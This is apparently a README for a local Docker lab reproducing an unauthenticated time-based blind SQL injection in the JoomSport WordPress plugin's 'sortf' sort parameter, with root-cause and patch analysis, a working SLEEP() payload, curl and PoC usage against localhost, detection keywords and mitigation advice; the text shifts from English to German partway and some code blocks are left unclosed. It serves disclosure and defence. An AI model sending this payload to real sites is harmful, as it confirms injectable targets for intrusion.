This lab validates the vulnerability as a time-based blind SQL injection. It does not perform database dumping, credential extraction, data modification, or destructive SQL operations.

This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.

## Verified Facts

| Claim                                                                           | Evidence                                                                                                                     | How to verify in this lab                                                  |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport before 5.7.8 is reported vulnerable to unauthenticated SQL injection. | Public advisories identify JoomSport `< 5.7.8` / `<= 5.7.7` as affected.                                                     | Review the References section and compare the vulnerable/patched services. |
| JoomSport 5.7.8 is the fixed version.                                           | Public advisories and source comparison show that 5.7.8 validates the `sortf` value before building the ordering expression. | Inspect `class-jsport-playerlist.php` in both versions.                    |
| The affected parameter is `sortf`.                                              | The vulnerable player list code reads `classJsportRequest::get('sortf')`.                                                    | Run the PoC and observe the injected `sortf` request.                      |
| The vulnerable code builds a dynamic SQL ordering value from user input.        | In the vulnerable version, `sortf` is used to build `$options['ordering']`.                                                  | Inspect `sportleague/classes/objects/class-jsport-playerlist.php`.         |
| The SQL sink is an `ORDER BY` clause.                                           | The generated `$ordering` value is later appended into an SQL query with `ORDER BY`.                                         | Inspect `sportleague/base/wordpress/classes/class-jsport-getplayers.php`.  |
| The patch uses an allowlist-style fix.                                          | The patched version introduces allowed static columns and expected dynamic field patterns before using the sort field.       | Compare JoomSport 5.7.6 and 5.7.8 source.                                  |
| The lab demonstrates time-based blind SQL injection.                            | The vulnerable target delays when an injected `SLEEP()` expression is used; the patched target does not.                     | Run `python3 poc/poc.py http://localhost:8081 http://localhost:8082`.      |

## Assumptions and Unknowns

This lab uses JoomSport 5.7.6 as the vulnerable comparison target because the public fixed version is 5.7.8 and a 5.7.7 source tag was not available in the WordPress.org plugin SVN tag listing when the lab was prepared.

The lab does not claim that 5.7.6 is the only vulnerable version. It is used as a reproducible vulnerable baseline for comparing vulnerable behavior against the patched 5.7.8 behavior.

The lab focuses on the `sortf` parameter in the player list sorting flow.

The demonstrated impact is time-based blind SQL injection. The lab does not demonstrate:

* direct database dumping,
* credential extraction,
* authentication bypass,
* privilege escalation,
* arbitrary data modification,
* remote code execution,
* persistence,
* external callbacks,
* or attacks against non-lab systems.

Error-based or boolean-based behavior may be possible depending on database behavior, application configuration, and response differences, but this lab does not rely on those techniques. The primary proof is timing-based.

## Root Cause Summary

The root cause is unsafe construction of a dynamic SQL `ORDER BY` clause from the `sortf` request parameter.

The vulnerable code path starts in:```text
sportleague/classes/objects/class-jsport-playerlist.php

und verwendet es, um Folgendes zu konstruieren:```text
$options['ordering']

Das Problem liegt nicht primär am Parameter `sortd`. Der Wert von `sortd` ist beschränkt auf:```text
ASC
DESC

Der Code platziert angreiferkontrollierte Eingaben in einen MySQL-Identifikatorkontext und reicht sie dann als SQL-Sortierfragment weiter.

Der Code wendet Folgendes an:```php
sanitize_text_field()

Das Sink-Muster ist:```php
$query .= ' ORDER BY '.($ordering);

Das Sicherheitsproblem besteht darin, dass die Anwendung einen vom Benutzer gesteuerten Anforderungsparameter als SQL-Bezeichner/Ausdruck behandelt, ohne ihn zuvor gegen eine strenge Allowlist zu validieren.

## Zusammenfassung des Quellcode-Patches

Der relevante Patch befindet sich in:```text
sportleague/classes/objects/class-jsport-playerlist.php

Der anfällige Teil ist, dass `classJsportRequest::get('sortf')` innerhalb des SQL-Ordering-Ausdrucks verwendet wird.

JoomSport 5.7.8 ändert dieses Verhalten, indem eine validierte Sortierfeld-Variable eingeführt wird, bevor `$options['ordering']` aufgebaut wird.

Die gepatchte Version initialisiert einen sicheren Standardwert:```php
$sortFieldEsc = 'post_title';

Wenn `sortf` vorhanden ist, akzeptiert der gepatchte Code es nur, wenn es mit einem der erwarteten statischen Werte übereinstimmt:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

Die letzte sicherheitsrelevante Änderung besteht darin, dass `$options['ordering']` aus `$sortFieldEsc` anstelle des rohen `sortf`-Anforderungswerts erstellt wird:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

Nach dem Patch:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

der gepatchte Code weist diesen Wert nicht der Variable `$sortFieldEsc` zu.

Stattdessen fällt das Sortierfeld zurück auf:```text
post_title

## Laborarchitektur

Das Labor betreibt zwei isolierte WordPress-Installationen über Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

Der Einrichtungsprozess erstellt minimale JoomSport-Daten, die zum Rendern der Spielerlisten-Route erforderlich sind:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

## Schnellstart

Starte das Lab:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Erwartete Abschlussmeldungen des Setups:```text
[VULN] setup complete
[PATCHED] setup complete

Erwartete exponierte Dienste:```text
http://localhost:8081
http://localhost:8082

Führen Sie den PoC gegen das gepatchte Ziel aus:```bash
python3 poc/poc.py http://localhost:8082

Für stabilere Timing-Statistiken erhöhen Sie die Anzahl der Runden:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

## PoC-Verwendung

Der PoC prüft jedes Ziel unabhängig.

Es sind keine separaten `--vuln-url`- oder `--patched-url`-Optionen mehr erforderlich. Stattdessen übergibst du eine oder mehrere Ziel-URLs als Positionsargumente:```bash
python3 poc/poc.py <target_url> [target_url...]

Wenn keine Ziel-URL angegeben ist, fordert das Skript interaktiv zur Eingabe einer oder mehrerer lokaler Ziel-URLs auf.

Unterstützte Optionen:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

Der PoC lehnt standardmäßig nicht-lokale Ziele ab.

## Wie der PoC entscheidet

Für jedes Ziel führt der PoC zwei Zeitreihen durch:```text
[1/2] Baseline timing
[2/2] Injected timing

Die injizierte Anfrage verwendet ein rein lokales Timing-Payload im Parameter `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#

Dann klassifiziert es das Ziel:

| Befund            | Bedeutung                                                 |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | Die injizierte Anfrage ist deutlich langsamer als die Baseline. |
| `PATCHED-LIKE`    | Die injizierte Anfrage bleibt nahe der Baseline.           |
| `UNREACHABLE`     | Das Ziel konnte nicht erreicht werden.                     |
| `INCONCLUSIVE`    | Einige Zeitmessdaten fehlten oder waren unvollständig.     |

Standard-Entscheidungsregel:```text
injected median - baseline median >= 60% of requested SLEEP()

Das bedeutet, dass ein Ziel nur dann als `VULNERABLE-LIKE` gemeldet wird, wenn die injizierte Anfrage deutlich langsamer ist als ihre eigene Baseline.

Nicht erreichbare oder nicht aussagekräftige Ziele werden nicht als gepatcht gezählt.

## Manuelle HTTP-Reproduktion mit curl

Sie können die Validierung manuell reproduzieren, ohne das Python-PoC zu verwenden.

Verwundbare Baseline-Anfrage:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Gepatchte Baseline-Anfrage:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Erwarteter Vergleich:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

Erwartetes verwundbares Signal:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

### Gepatchtes Ziel

Befehl:```bash
python3 poc/poc.py http://localhost:8082

### Mehrere Ziele

Befehl:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

### Unerreichbares Ziel

Wenn ein Ziel nicht läuft, sollte der PoC `UNREACHABLE` melden, nicht `PATCHED-LIKE`.

Beispiel:```bash
python3 poc/poc.py http://localhost:8083

Nicht erreichbare Ziele werden nicht als gepatcht gezählt.

## So funktioniert der PoC

Der PoC prüft die JoomSport-Spielerlisten-Route auf einen vorbereiteten Saisonbeitrag.

Die Zielroute entspricht:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

Dies sollte eine normale Sortierung der Spielerliste erzeugen.

Die injizierte Anfrage verwendet:```text
sortf=post_title`DESC,(SLEEP(2))#

Das `#`-Kommentarzeichen verhindert, dass der nachgestellte Backtick und die Richtung den injizierten Ausdruck beeinträchtigen.

Dies ist kein gestapeltes Query-Payload. Es injiziert nicht:```sql
; SELECT SLEEP(2);

Verdächtige `sortf`-Eigenschaften:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

Erwartetes verwundbares Signal:```text
HTTP 200 response with significant timing delay

Potenzielle Ansätze für das Produktionsmonitoring:

* Webzugriffsprotokolle auf ungewöhnliche `sortf`-Werte prüfen.
* Warnmeldungen bei SQL-Schlüsselwörtern oder Kommentarmarkierungen innerhalb von Sortierparametern ausgeben.
* Wiederholte Anfragen an JoomSport-Spielerlisten-Routen mit kleinen Parameteränderungen überwachen.
* Langsame Datenbankabfragen im Zusammenhang mit JoomSport-Spielerlistentabellen überwachen.
* Langsame Anfragen mit öffentlichem, nicht authentifiziertem Datenverkehr korrelieren.
* Prüfen, ob JoomSport installiert ist und ob die Version älter als 5.7.8 ist.

## Minderungs- und Patch-Hinweise

Aktualisieren Sie JoomSport auf Version 5.7.8 oder neuer.

Die korrigierte Version beschränkt den Parameter `sortf` auf erwartete Sortierfelder sowie dynamische Feldmuster. Unerwartete Werte fallen auf ein sicheres Standard-Sortierfeld zurück.

Empfehlungen zur Anwendungs-Minderung:

* Aktualisieren Sie das JoomSport-Plugin.
* Legen Sie veraltete Plugin-Versionen nicht auf öffentlichen WordPress-Websites offen.
* Überprüfen Sie Webserver-Protokolle auf verdächtige `sortf`-Parameter.
* Deaktivieren oder schränken Sie betroffene Funktionen nur als temporäre Minderung ein, wenn ein sofortiges Update nicht möglich ist.
* Verwenden Sie eine Web-Application-Firewall-Regel als temporäre Schicht, nicht als Ersatz für das Patchen.
* Behandeln Sie dynamische SQL-Bezeichner anders als normale Werte: Verwenden Sie Allowlists für Spaltennamen, Tabellennamen, Sortierrichtungen und ähnliche SQL-Syntaxbestandteile.

Die wichtigste Kontrolle ist die Allowlist. Alleiniges Escaping ist für dynamische SQL-Bezeichner keine vollständige Lösung.

## Nützliche Verifikationsbefehle

Laufende Container prüfen:```bash
docker compose ps

WordPress-Dienste prüfen:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

Führe den PoC gegen den gepatchten Dienst aus:```bash
python3 poc/poc.py http://localhost:8082

Führen Sie den PoC mit mehr Runden aus:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Plugin-Versionen in WordPress prüfen:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Gepatchten Quellcode untersuchen:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

## Aufräumen

Container und Netzwerke stoppen und entfernen:```bash
docker compose down --remove-orphans

Entfernen Sie Beweisdateien, falls erstellt:```bash
rm -rf evidence/

Das PoC enthält keine Payloads für Datenbank-Dumps, Credential-Diebstahl, Datenmanipulation, Persistenz, Lateral Movement oder externe Callbacks.

Das Ziel ist es, eine spezifische technische Bedingung in einer kontrollierten Umgebung zu demonstrieren:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version